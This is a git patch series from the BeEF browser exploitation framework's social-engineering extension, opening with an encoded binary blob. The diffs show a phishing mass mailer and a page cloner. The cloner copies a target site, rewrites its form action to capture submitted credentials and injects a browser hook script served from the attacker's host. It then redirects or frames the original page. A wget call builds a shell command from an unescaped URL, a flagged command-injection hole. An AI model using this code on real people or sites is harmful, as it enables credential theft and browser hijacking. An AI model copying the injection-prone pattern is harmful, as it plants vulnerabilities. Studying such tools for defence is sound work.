zDdnfsgQc|;UNFPu7#)52ILu%0LgitN%kfyY?34K%Fd!`sIbh?@Bo*%~P=K4Y&)x?wCyk>g*&-*I6h_Uj^i6YFl-KQAXwQ_MD| z5}cv8uvl*e$5G^%%XMG>C;NF)^_Yhp%%<{fSknN8|RcVqzv* zoe25h==xP|)Z1*a3sr=1yVYevKe zpW_s~$9@V0eNZv-c6538SUJ5Ei!*KB!)4fEx}RoJT6)2-8OvB`GXS<2P|?w`l2K1E z5tWwC^W=ZHxj}7C4x_E@5Lu#sly{7I=0=!Z;AA0Wc8o*f;dG0GCF~?qPCag&6mqCr z;bc?AoPUSuE-e(2^=x;9V}N}%jRIeuf}sQN3J_AmPK(J?e%Rhm2iJ;nrJh zfIV+Dr1vDD<2XD*S%ZQaaV#UJ=WFu8WxHoPnptyxo?gV~`rCK&A46#>ZVk*>%W;#m z0wrBO(M)=7Vd)d{fU)Cb`}GM`u1d?amh9^63>j-9sE(AlgW?R?y1RsUmJg}lpB~`Y z^A}oAdIvMvJ4Vt~O=K0Fq^Kks4<+E=-JM*&7ZD%cE+W1TaMV{LHQUlFEyEyQN2TUf zd1Z35V&JhD-jGP4294`|HgDtZ6&`0!@ySb$Uo~cI9cyz5+_g0@b{_YY3+UIQU-HW% z{@Rgvg~{BsT=5gHJ49aIOVgt#0RzBpqZ+}$xapM^Ws9jkGSn8Y(w3gzD`_-iuhQ)9 z!x$ZiJR-jAc(hem(U>rY%0gZ4D0Pye;TekpH+IlOc`@_ziu113BZUT#24_V#vkdp&j zhuuGN0XQ<*4V7RK(I!MiQ-?=RBin2G>})u#)*;hUVfCbbuIY4eC$wtx{CEv+c-*4S zGN(~EYzC|SOti!3FxzL<;eOFaGjsc1v+TGNn;w5_e>c-waI!qi@GMDvEq|-ex=tPc z!B?qp9cy8krlDOo)YpR`C0OUv2VE6sk#A%dth)#j6_VPyUPN8a9xnnWtbsNeTs}j$ ztz$);I@z=19`qN6!%)=DswXu+JpGc(p6s*yROwSr4*Hn}iN@m(o0;d|V=Zd%$M ziaTm{0SyOcp}#em+bK6(HjDK)P@8l!z4%Gmd>}266x=#2<_f3D_mu|C4GrDVm-8`+#+Gs*Pn+!B3}RSLVEi<6!M zBGo4ctAiW2@521nm`l_5noTCnAVa}??$BD#MP(+umh2p!BcnRC8P^0tX8c8j^ZOo} z*F~H3)bTiNOSIjcw%+Lu9`<*vwC#yE7pndIjEc8iy$Ge8TIyh&gBqKe@Qh2+4+kmx z_cCpTUu#Q9C$q&SQZH2V*53nZqoy<&A!=t!l?pkEAze=xYR74K~k=nruGa5^!@CyB@JDf>E-0@1jaxPg$qn zW;nv`Y+`#(SdBB{l5?9hScZn`c+HaC#|&^{st~y>^o28I z&5W?Mwnyp%+Hn{s8Dl+lYXb$;Qv5ZOEG^8VI}F7d{ScXoSIH&c@+WO?eN4iamuXnE zIa*9s1iMXIwrpxEE5|Xve=3mriqrmnl@jsgCuiXFA{~wAO@$8mY(}5nJn0AAY7fY_xhUHhR2EzVBRk#NA^xtWz}fL)(jjnIZdi2v8f} zs9KP!fvL47cKtSD8&?R)0Oqa(#SGYIWVOJL8%xFt(HFt`W`1@NxxF3S7eAs*u1kDK zK+l*caD)=ck*k%<$w-eDoMEv=A12%IY7BW>J${zc9pA2XY#^qfO63U0-GY^%ijtX4 zbt7GET<7HOEm6q8Rtw8rDM_ackj_l2{Z4l^GEi(Lp%Gu(b8PvRmy^F7`{oh8YuEh^ z(#^70(8E&SP`X4)yTDUi5ofH%{klJ6hf4myr(y&1XZYfw(Rmn!OEvi~Se;&T%r`tuUzNXvL~eWRXqwp8BA#6X#`aD(&N+2W2Xx zY(9YHj?!M5LTR&b$y_g9ZMW?OcvakcyGo>Bkrb&URyrVVZ6O)P{NQ0@ee**6rmPv~z2gGT#+GMM5p>Mbz|C-*r8h z`poY~h7ewn;-1HpT;PAdU*e)(izf=Rjp$uCpenv1#cG^xnNFmB{PM^Kp9~SZ7--db z3hKd|DBqrSohp>;uwH69;KDF+TuM}PQ|H~0!PN z-Ib`c1Rw_gdT(QoH(0Dl{fe7R%V9yvkV(cHW=Rd zC(&~3Zq3qC8y@%Zp7(9{pOMXoa~yA%5*A!;Qoe7@AgxT!i2^;b>PNk`eJy8(uvRK- zubJ>3sAT_zr230L1Oi7af5An+QN6#|qQ6NhAj0&QVE%vO|HSxY)I=5k;{Ry)t;`Mn zNih9QV8Jl_OCVq2ZwT<;MJ@g-1jqzLvi?Ct{e}QpfY8%#z>kp*2mvy)0ih^5d`1Q! z?8i)x&kBSAnE}5cKUN?p2=rkD0ILrCT^4}huk%Fzqn-xv)_(zr|M!9#n$e@Cy>v)I z_fIf1vqDuTd(gt)8K!KDqo^M8rC- zG2zD8_)1*<+ZlfuD*wWMt-uWh!X=!<%q0R0`$ZX_~;s*P+g(!_IEglqF z@io%OdUjFdvY-S6j;nr=ydR4`TY4c?$uxoUcWL%;AtCE&lW>9%7)bRHA@vBbm3nCo zyhK6r8@FgYwF8p4(-Z9Q3OWM3*!JM}J{3-@irkYtPZ!D>zJf`Oru6)mQ2RaHzrzX$ z()|@_{|Jcx47I;Q=AR+-PiXJIN7$d_9*jB-Jv}`g5W-_)!>4CtVZf)SV`2eTp!oj> z_h9}jxCaDIfl>K4xc9qW#J|BkdPY{@P~|{-1&P8`uSsuz!Jj zYz#nb_5aE3m9xXzW6j5(j~|%53dfL)Ch!nNl5ixLvnAko<}7_ywLKXEUA5s2AxPM< zsRH*VmL|{Zqu+XotBcD6MO)%`niONLgVldhE!;=qPyMVTF(D^za#+KZz3h?2HYgz> z4jp~pK{jk7H{-vaKGuHT?sopXzUfBveRbiqS2U0mDbzH88QxO(rrL>5meKy6nR{Ky zN+76Nw|8%qIe&FU{^Q}ZW$Vrc{9(fn7y^O&p^L0I%Uqdk4F)hjd#pu1RpuI#Rj$K^ zbx^}~94C0ghr8!2%_ftJjIoyk9OG*z1WQcmQP|GF8oldzs>F_TeKuekx1)A+QPc+#gr@axgfiKl<*{h4S+8aApVl z{dA6jVQ$ndllvhtW>jWZV}_Vl36>}i4_*0Hr39Kl6X61JUn7UeFsY6XTZEJLEn~r3 z`HHcLT%BS}>8j?7TZ7)P(%5ncg*v?f729$Mv--3FRf)M!ayfY)&(z^p*%#>kb9wiS z?agoQ5!+4_ZzTOZxesvtm9j6C{gvO`Q?}(%-h;MdQ95}qnffPX-J`a_QOGDZWG-<- zoa8yhE`3pWcrRa3WWKe9Zrg-7$*l?4u=J;+I3b;ApAF*9!B`V@fplqtw1VJ*IU{ee zd7**6!Se=+TVq^-*MY5lqyw==>!S4v1j+c|jIbpHf`cxHbl%;`Z8k~ee!cJ2;hwqv z`0M$~^9ge9{0%uvDiw6y1}$s#ypF@F({6FW$70pa!oShtL!BYO!$lD;o^lP)}O zrH9+vVV-Y8Dt6U-`bKy98i#-i7@xz;lAYC73_4a{DlKmf4NAyT;*!H z;0Y7}J$oIB|1$iF#fjEwQDZW$NTgY(E_=o67Y5ux zS`A7yNofrO>mpby4-&H!4D{h4iEu1{fF?T8l zyeS!z_IL=uHXV@sX9iLV{g#N;0wC2`84B$|o+G83{v zi8pgIC`7u_dJeP5jjOg;MYA2)Y7vUaLhxu;}%VOJ?vMOPtqn)DbC;`BJJsDk|c zJl`2m3X0RjJJHsBu|vK?&_fRs{uPpN366Z+V)dgq_B^xu+vXLWw)g&A$(UZTX2=Pm zul=I3u(xBq8B&Y;M*DA|+0Cl_q^$F)72ki&7tZ^|S1eHy$=JMt_ok?`UwA~o3&X_g zw*e)LRi*BPiVPonj@1VY_8?I#{~#t9%y?vFd-l|YqEMNu;f*A=E&Jw!9D>lhz5)j} z3;tDWgcGm`Nc^lrY@BcQejrB6oZ+`LNlNHH@?0=0`XIk$`ct#;>*P}7it-A5^xg2% zZ|_M4>fu@w!16WLA%W4W_1a6T&XbnThHi-%+I$m+dNA1>-tERfD3@`*jlqZCK#pDJ zQ<-DZTaS+BZl+slM-{F5=+*a8W(=nw2t6_~>_W`=^YRBB0yxde0tupC=xtI~0zdCU zi_lYtbo(9~%vG%Dajj*Lb$E^mj%9;B`jJ>8hUUb?%%fnM-IgFYR`1-AK{6t+F-Tt_ z=76C7musWkjU@`%oggSk7Z<%(;VFzZU#Qx*b8*|6w;b3q@H_7eV)h^(Xwl$s11hZS zLNFL^7o8-_Tl{s*2P(W}bW&b+pZi?El$!-L17VkUdO8vc*sJP&{SQrAwoM6k(%4Tm zeSFYLGECrB+-Vb4VfNs9J%{~O8O*9Dxe!OW%w8D%-PW7}BOgITKpms{1zB;)QpK@& zm0Is9OCh+$AQfAGX?)#hhiHpc>@c>XMkd{Wj*(P1Uxo<02Aj)Wzcx4lNzQu*lSTen zhML1=@)e!niGX}M5kY54ZQu$&CAu&-!-jP-?|T!;0&N{x%&?=kl?-W&FQeV(V~C8; zF|)2eZ0(4%j#OCY{E>Z zy>5duh@Le1u7}Wur{~qD5%WxRqJ_9TJlq(o0Iqx`TsQ`ZiSmai59X7E>qhw$Oc?Z~ zX^CDM8DPGKgQ1x&n=lI@FSk#?Rz)V@&!<6)ECXdESci*wB`8C^zBlc&gY(ze`NeK?*blw3;Td?;Qd^;`GWmJwsxB-_5xM5^pNvMy= zGQYIYwEBr7b2Ov}_%K$Xarm?#PWd(_%|7h45nV< z+^2zLA4`^Yn|~TY&?Z922^)GpvPtSBxs3Pe(}k} z4_$rlvu+CVwsg;A%=f(s(jH=nfi5V%zGNF4>zg{$O2>Z6&3%U(XzQD2!~u~MT`4`1 z6R*lZli-=vC%t6rT*n+f5IcvMa*grKMLi`*WGug0i3$qmdC&;8tt{E}h;Zx2X7`Q|q@vI}pv}HlK#W4d~V#OvmpD@Q3<^c2Gmze5fg?7abWUpU&0W znH{k!hF>~5magH9R*@hC%23?vy$Wpp%5cB(q3Odj5%EIMxO&S-qT{i_yefUL5 z?%fc$B@jL{!_V7m{IO$&JbZM7o>xB4gfPF`1xzB0RT#g${{vkMap-#W^ET12U>Z5r z@+`u~44OLpY(dOP5vdZ-0$OZAc1tBpSc9h3MN-xB7>{Mkfy zQ&}<|k|4VwO<2}=7zpxd9U}H*-YgR9aTaeWZ@^Yk(5TJVWF}^DrM_!xyd$I(!+5fG z(fmNk-AFPTei|-m1xvQUb~M*6Y$_ANJQOk}T?Sj+?$U+ck-!g8nBo^Ypb(g9@DoKB zQ7nN=@Z`PLB~+Z&MPR$U`0}KLt9t9~0ug290iZug95exNA1m1r#0gRh%iA$PlTu?H zst6~+6ph%u9KGhn7QoK6R5(BV2!@+w^mX-jGmr#`7s`RFGdFQS{j7;Ps{{`Lx$m(5 zjxMo7O3W}&%%mvgSW$?!(vjS(-_uSkS|bxL6D6x1#!Bk52^|%*J!}ST%R?+ZUatU7 zLKchJ``toB>y0gC&VOX~tJOvQ|eZt(Dg7D_|(^e&!&$~hA9Y-eO06q2~Y zY;&R4vCl>RkI1GyWu8fBpt>m5r$oNGXVw!u0Fh zhBb1jNkrmSUOZJ(RmGIQyu5tPsu@@{;iPkmr?Uxiaj~8bp2qw~x(GRd!8F@rIEL4P zUVqd-Ai93}%AB8zxpnMA5@dXP4fW&>6OGkRvyrR%;H|fYyX*vhdDW>wH*?d`#f!p3 z#gnbV@CPTy*4CO1&P_aH_g`Q9OE@}j%jaDB^%I%N z->!z8bZ)8Ll?nSfF48A^xl^WUk&Z3Q^z_;*gDu#JpH9>^vr{mi2_2^iT8$fV;8#`4 zGjH)`LRQjpb!j3?LI&4QobjvXlmV7Lt4Gah60z@VsrzG6QbXrL5C~^JXl!bXfTAZ@ zT4%IHR-wuLR8V#e&p6hG-oWhWPa3ybGIp8(d9Cx3@!I`QH8Yy6AGoQwvJC5&%@L=R z07M^8V4)BjPkG*^eo-_o7Rar%;qGORQ!NOot;p9FE9aL>^tbAtX6Khec3{&UN98~z zWj;h$BzACb!T#E%F)h~xo<#_GNsF4;bv!+AvkGl|ymKgpqKYrB8NIK0JH=wRG@}8t zB6QV+b}b)xs*{c+>Rl77mMA@^GiLn+6H#koUUnK)RP1QNI~vrjmQY-wRC^>aujep7 zZ4FRAv0YYuCP+M>(>pPbo6oYP}66xToD*14@;tKlK)Baeq^RPJiDwYek6 zx^C^4YN0^$9GZLMrGb(<%+u*A;ftpAA%eYMieGYVcD}?K!0QQnySz^(^}um{1UH4L zf^&LOLjLsgJ#rq&&3yu6=WI=nd9s1`xWdIvgC4- z^XbF|B^iwpEAsl}`0S{KYSA)XD=87t6()1pCX)GiOmCi`>7s84zVMjSjSS31#Y|NJ zf&Jp$T94LJQWa|5{4cohr6;IPQeHHg)E~DV!9oYx*){F*ZQAHce|E9Wi8q)|fWJa! zC7`J!X>spY>7*QofgV+_7P}_74)uBFQl&;$gW@2=5#wMHTlSL(2)+Ia9nT+7_?A6c zO5XBPST=z!@PjQ-24f_Vj;#Zx_G+etG?D;?;R{PyH)7!#vQGwBDZ73BV1T5dgmQky zAd5YXLn=Q(du@#+bei<5UG0hXvT7V6#&drdLaGbZs7!Eb`H}%m^@cG{73E3Ud`j=0 zSEqC^8}`T`J9DNXK_d1iRX6S$NmP`$s|7JdrPOza7S#HJA2GzRasc&jvAu}l>Wmbt z?+}IFZSPJZVXcak*>m#RA_%-wfXDrsSjlw|dh)oExsytkwyQ2Y?xy?o-q+{FYg{wh zjy9-s*DSNa5Hu8=_0p$$o+ka%wS3Q)t&I`mA7;P+?R-BiK)`+-AdsBT z-W3*MbS6b&{10R;-I-l~8z!5%bSk({IrE z*3;Z&V&~;n>SdrhRL#@{Lp$fwIgQgp;S_*tTJdh<^Z4+xdUhFrdcg!5Q3IKS)CBpB zq{zI%ONy>Ay?XL|&+%a$foSx{MQG~ET{2p8+x%Xl);8*Vei(uNVGXSjaSk(@V&aeU zrpx+(mV#;TiuA<792!H{2LjAoqlaJ3!fgIm-<*WWnAOj!tKfg>`l~^#e9IQ|CD@E! zc66*Pw|6Qq6RK?vsM=x0qJ^)F)I z!$r{GmgSbI$reEHbblfJ(E6x)amwmSRLd?aUqGcl8WF^f@RN>;Qc#JLkh1B4k!90; zw)$ecpv|Y>A$_ER*Mn)rff^eigKFj;8{Qut-v4TYl6+F|2JaL@+L_6rJen?XPM*#r z3ic**bQr}^MABVF{Q0?as|+LeZC!SU_3O@F^6`edFlcV?IK-I`4AxYV`ABi85^#st z%aH_r8VljzR{Qofutli?aWx?F#y&DYLZy9tNAinuJmyWlhm3b+NMlKS+Lm;@BCKov z#-2S|iyNlBp(2HH_-a;N!lKS7E0+FZof~^%#c@fP)J6>ZiMpa@9IUFSaoz*p6D(lBGry6LtNBjf=hJzp;?j-J9`+k5!xcrY^ zU!;oA*VC$V!Btg{(k!&0)6*!6_B2Jzwyx)7W?Svfu5;7n$wEG_QmJp z4q?&2?ZT^9h(mOs75N_!D4WKIsJcGv-Jw?EdBVBvXgh5z1~IKxw+e36 zMW9Ogo!0r@t|vUfSqyItUm_9!7J9mWZ`c2o86uZ5(YLj-vof;BSGKY>z^B0% zw9$HiO|`@)djz_QqB~rHX&)LjbE_8#w3# ztFiy1v%oEU0bmh!pxgy8FZItY{eN5oH8uo)SC0njTl{06U&_kh_w{eRi+@~87`iwC z`vcVF_*Z_6kMEl#``^}o=E(leAvoI_8o>Z_U(7Ic|Na28UjSgv%LxCUHbw^E>3{rx z{EBb+FB=`*@9fzBw$THV8Nj^E@6Z46qx&r{@P`cm01m+)HfGj8{eaH{=3f5v1781O zV*oJx?(84W`%gb$1#X~x$De-xrOj;gbbt1Zj*b5JwEeGl0D}YY=ktIzmOtA996i?m zxR;6TKc5F+X8m)VfuZ+%`v3QP0l#xef7;l7rzQWFA8=fLYmfh7V+Bf|{Apui`p0`OkS{{Jp;Z^kbl7`m@bIKcEcD|85H~CjVoO zfHsEzF)sGDx0$z~G3Wyf4FLK~47&O(y1*c&qu195aKrq+UH+LXwzCKRFa2Y2F)}dHF~g9M J2+0V;{2!VC5QYE% literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.html b/extensions/social_engineering/mass_mailer/templates/default/mail.html index 195f9a116..a99c840cb 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.html +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.html @@ -10,6 +10,8 @@ You can check the status of your hook at the following link:
__linktext__

+For convenience, we also attached a resume of your order as PDF.
+
Regards,
The BeEF team
diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.plain b/extensions/social_engineering/mass_mailer/templates/default/mail.plain index 4b57cf16d..f8796f0b5 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.plain +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.plain @@ -4,5 +4,7 @@ We would like to inform you that your BeEF order has been successful. You can check the status of your hook at the following link: __link__ +For convenience, we also attached a resume of your order as PDF. + Regards, The BeEF team \ No newline at end of file From 20d2e172329064ccd9d45f988a4a8395fbc747a7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 17:50:14 +0100 Subject: [PATCH 010/397] Social Eng. extension: added support for SMTP servers that do not require authentication --- extensions/social_engineering/config.yaml | 1 + .../mass_mailer/mass_mailer.rb | 24 ++++++++++++++----- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index ad4c5d529..54cb64e62 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -26,6 +26,7 @@ beef: user_agent: "Microsoft-MacOutlook/12.12.0.111556" host: "smtp.gmail.com" port: 587 + use_auth: true use_tls: true helo: "gmail.com" # this is usually the domain name from: "yourmail@gmail.com" diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index ae0feb901..2e61b4dd8 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -55,12 +55,24 @@ module BeEF # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false - smtp.start(@helo, @from, @password, :login) do |smtp| - tos_hash.each do |mail, name| - message = compose_email(fromname, mail, name, subject, link, linktext, template) - smtp.send_message(message, @from, mail) - print_info "Mail #{x}/#{n} to [#{mail}] sent." - x += 1 + + if @config.get("#{@config_prefix}.use_auth") + smtp.start(@helo, @from, @password, :login) do |smtp| + tos_hash.each do |to, name| + message = compose_email(fromname, to, name, subject, link, linktext, template) + smtp.send_message(message, @from, to) + print_info "Mail #{x}/#{n} to [#{to}] sent." + x += 1 + end + end + else + smtp.start(@helo, @from) do |smtp| + tos_hash.each do |to, name| + message = compose_email(fromname, to, name, subject, link, linktext, template) + smtp.send_message(message, @from, to) + print_info "Mail #{x}/#{n} to [#{to}] sent." + x += 1 + end end end end From 0260181d33fc7088b34a5b1101f0102f55c2f6ea Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 19:33:14 +0100 Subject: [PATCH 011/397] Social Eng. extension: added redirection after POST interception, refactored Interceptor class --- .../web_cloner/interceptor.rb | 16 +++++---- .../web_cloner/web_cloner.rb | 36 ++++--------------- 2 files changed, 15 insertions(+), 37 deletions(-) diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 7eba2ad46..af6a899cd 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -19,13 +19,13 @@ module BeEF class Interceptor < Sinatra::Base - def initialize(file_path) - super - @config = BeEF::Core::Configuration.instance - @cloned_page = "" - File.open(file_path,'r').each do |line| - @cloned_page += line - end + def initialize(file_path, redirect_to) + super self + file = File.open(file_path,'r') + @cloned_page = file.read + @redirect_to = redirect_to + file.close + print_info "Cloned page using content from [cloned_pages/#{File.basename(file_path)}] initialized." end # intercept GET @@ -44,6 +44,8 @@ module BeEF print_info "Intercepted data:" print_info data + redirect @redirect_to + #todo: do a GET request on the target website, retrieve the respone headers and check if X-Frame-Options is present #todo: or framebusting is present. If is not present, open the original URL in an iFrame, otherwise redirect the user #todo: to the original page diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index f962b4e90..1261f51c8 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,40 +27,16 @@ module BeEF end def clone_page(url) - #todo see web_cloner.rb, work perfectly - # output.html and output2.html (the one with the form action modified to /) - # must be stored in cloned_pages print_info "Cloning page at URL #{url}" uri = URI(url) - - #output = url.split("/").last #todo test if http://google.com/ produces an error output = uri.host output_mod = "#{output}_mod" - user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') - #todo: prevent Command Injection - wget = "wget '#{url}' -O #{@cloned_pages_dir + output} --no-check-certificate -c -k -U '#{user_agent}'" - IO.popen(wget.to_s) { |f| @result = f.gets } - print_debug @result - #todo, also check if the URL is valid with: - #unless (url =~ URI::regexp).nil? - # # Correct URL - #end - - #todo: this should be the good way to prevent command injection, because the shell is not open. - #todo: there are issues: Scheme missing when calling wget - #wget_path = "wget" - #env = {} - #args = %W['#{url}' -O #{output} --no-check-certificate -c -k -U #{user_agent}] - #IO.popen([env, wget_path, *args], 'r+') { |f| @result = f.gets } - - - #if !File.writable?(File.basename(@cloned_pages_dir + output_mod)) - # print_info "Cannot write to file..." - # IO.popen("chmod 777 #{@cloned_pages_dir}") { |f| @result = f.gets } - # sleep 2 - #end + #todo: prevent command injection using IO.popen passing an array of arguments + # see here: http://devblog.avdi.org/2012/03/29/generating-cows-with-io-popen/ + wget = "wget '#{url}' --no-check-certificate -c -k -U '#{user_agent}' -O #{@cloned_pages_dir + output}" + IO.popen(wget.to_s) { |f| result = f.gets } File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open("#{@cloned_pages_dir + output}", 'r').each do |line| @@ -92,8 +68,8 @@ module BeEF print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path)) - print_info "Mounting cloned page on URL #{output}" + @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url)) + print_info "Mounting cloned page on URL [/#{output}]" @http_server.remap end From 26c7696e0f3ae34e2a363867ffd22b4c37e70dea Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 21:08:07 +0100 Subject: [PATCH 012/397] Social Eng. extension: if the page can be framed, load it in an overlay iFrame maintaining the hook :D --- .../web_cloner/interceptor.rb | 22 ++++++------ .../web_cloner/web_cloner.rb | 35 +++++++++++++++---- 2 files changed, 41 insertions(+), 16 deletions(-) diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index af6a899cd..53ea3314f 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -19,24 +19,25 @@ module BeEF class Interceptor < Sinatra::Base - def initialize(file_path, redirect_to) + def initialize(file_path, redirect_to, frameable, beef_hook) super self file = File.open(file_path,'r') @cloned_page = file.read @redirect_to = redirect_to + @frameable = frameable + @beef_hook = beef_hook file.close - print_info "Cloned page using content from [cloned_pages/#{File.basename(file_path)}] initialized." + print_info "Cloned page with content from [cloned_pages/#{File.basename(file_path)}] initialized." end # intercept GET get "/" do print_info "GET request" + print_info "Referer: #{request.referer}" @cloned_page end # intercept POST - # the 'action' attribute of the 'form' element is modified to the URI / - # in this way the request can be intercepted post "/" do print_info "POST request" request.body.rewind @@ -44,13 +45,14 @@ module BeEF print_info "Intercepted data:" print_info data - redirect @redirect_to - - #todo: do a GET request on the target website, retrieve the respone headers and check if X-Frame-Options is present - #todo: or framebusting is present. If is not present, open the original URL in an iFrame, otherwise redirect the user - #todo: to the original page + if @frameable + print_info "Page can be framed :-) Loading original URL into iFrame..." + "\n" + else + print_info "Page can not be framed :-) Redirecting to original URL..." + redirect @redirect_to + end end - end end end diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1261f51c8..0648b91f0 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -24,6 +24,7 @@ module BeEF @http_server = BeEF::Core::Server.instance @config = BeEF::Core::Configuration.instance @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" + @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end def clone_page(url) @@ -68,7 +69,10 @@ module BeEF print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url)) + + # Check if the original URL can be framed + frameable = is_frameable(url) + @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url, frameable, @beef_hook)) print_info "Mounting cloned page on URL [/#{output}]" @http_server.remap end @@ -76,14 +80,33 @@ module BeEF private # Replace with def add_beef_hook(line) - host = @config.get('beef.http.host') - port = @config.get('beef.http.port') - js = @config.get('beef.http.hook_file') - hook = "http://#{host}:#{port}#{js}" - line.gsub!("","\n") + line.gsub!("","\n") line end + private + # check if the original URL can be framed. NOTE: doesn't check for framebusting code atm + def is_frameable(url) + result = true + uri = URI(url) + http = Net::HTTP.new(uri.host, uri.port) + if uri.scheme == "https" + http.use_ssl = true + http.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + request = Net::HTTP::Get.new(uri.request_uri) + response = http.request(request) + frame_opt = response["X-Frame-Options"] + + if frame_opt != nil + if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0 + result = false + end + end + print_info "Page can be framed: [#{result}]" + result + end + end end end From 6409b3d98fe1d06f257d121fea3b01292ad88789 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 22:36:24 +0100 Subject: [PATCH 013/397] Social Eng. extension: mount point for phishing page is not configurable, refactored Interceptor initialization using config settings --- .../web_cloner/interceptor.rb | 24 ++++++++----------- .../web_cloner/web_cloner.rb | 15 ++++++++---- 2 files changed, 21 insertions(+), 18 deletions(-) diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 53ea3314f..3cf6551d3 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -16,25 +16,21 @@ module BeEF module Extension module SocialEngineering - + require 'sinatra/base' class Interceptor < Sinatra::Base - def initialize(file_path, redirect_to, frameable, beef_hook) - super self - file = File.open(file_path,'r') - @cloned_page = file.read - @redirect_to = redirect_to - @frameable = frameable - @beef_hook = beef_hook - file.close - print_info "Cloned page with content from [cloned_pages/#{File.basename(file_path)}] initialized." + configure do + set :show_exceptions, false end # intercept GET get "/" do print_info "GET request" print_info "Referer: #{request.referer}" - @cloned_page + file = File.open(settings.file_path,'r') + cloned_page = file.read + file.close + cloned_page end # intercept POST @@ -45,12 +41,12 @@ module BeEF print_info "Intercepted data:" print_info data - if @frameable + if settings.frameable print_info "Page can be framed :-) Loading original URL into iFrame..." - "\n" + "\n" else print_info "Page can not be framed :-) Redirecting to original URL..." - redirect @redirect_to + redirect settings.redirect_to end end end diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 0648b91f0..13c799ded 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,7 +27,7 @@ module BeEF @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end - def clone_page(url) + def clone_page(url, mount) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host @@ -53,7 +53,7 @@ module BeEF end count += 1 end - line_attrs[count] = "action=\"/#{output}\"" + line_attrs[count] = "action=\"#{mount}\"" mod_form = line_attrs.join(" ") print_info "Form action value changed to / in order to be intercepted." out_file.print mod_form @@ -72,8 +72,15 @@ module BeEF # Check if the original URL can be framed frameable = is_frameable(url) - @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url, frameable, @beef_hook)) - print_info "Mounting cloned page on URL [/#{output}]" + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :file_path, file_path + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" @http_server.remap end From 9ea0f60138e3311e57526ad0a9d1b61cda7a96ab Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 22:48:45 +0100 Subject: [PATCH 014/397] Social Eng. extension: added default PDF attachment to config.yaml --- extensions/social_engineering/config.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 54cb64e62..de77968e4 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -29,7 +29,7 @@ beef: use_auth: true use_tls: true helo: "gmail.com" # this is usually the 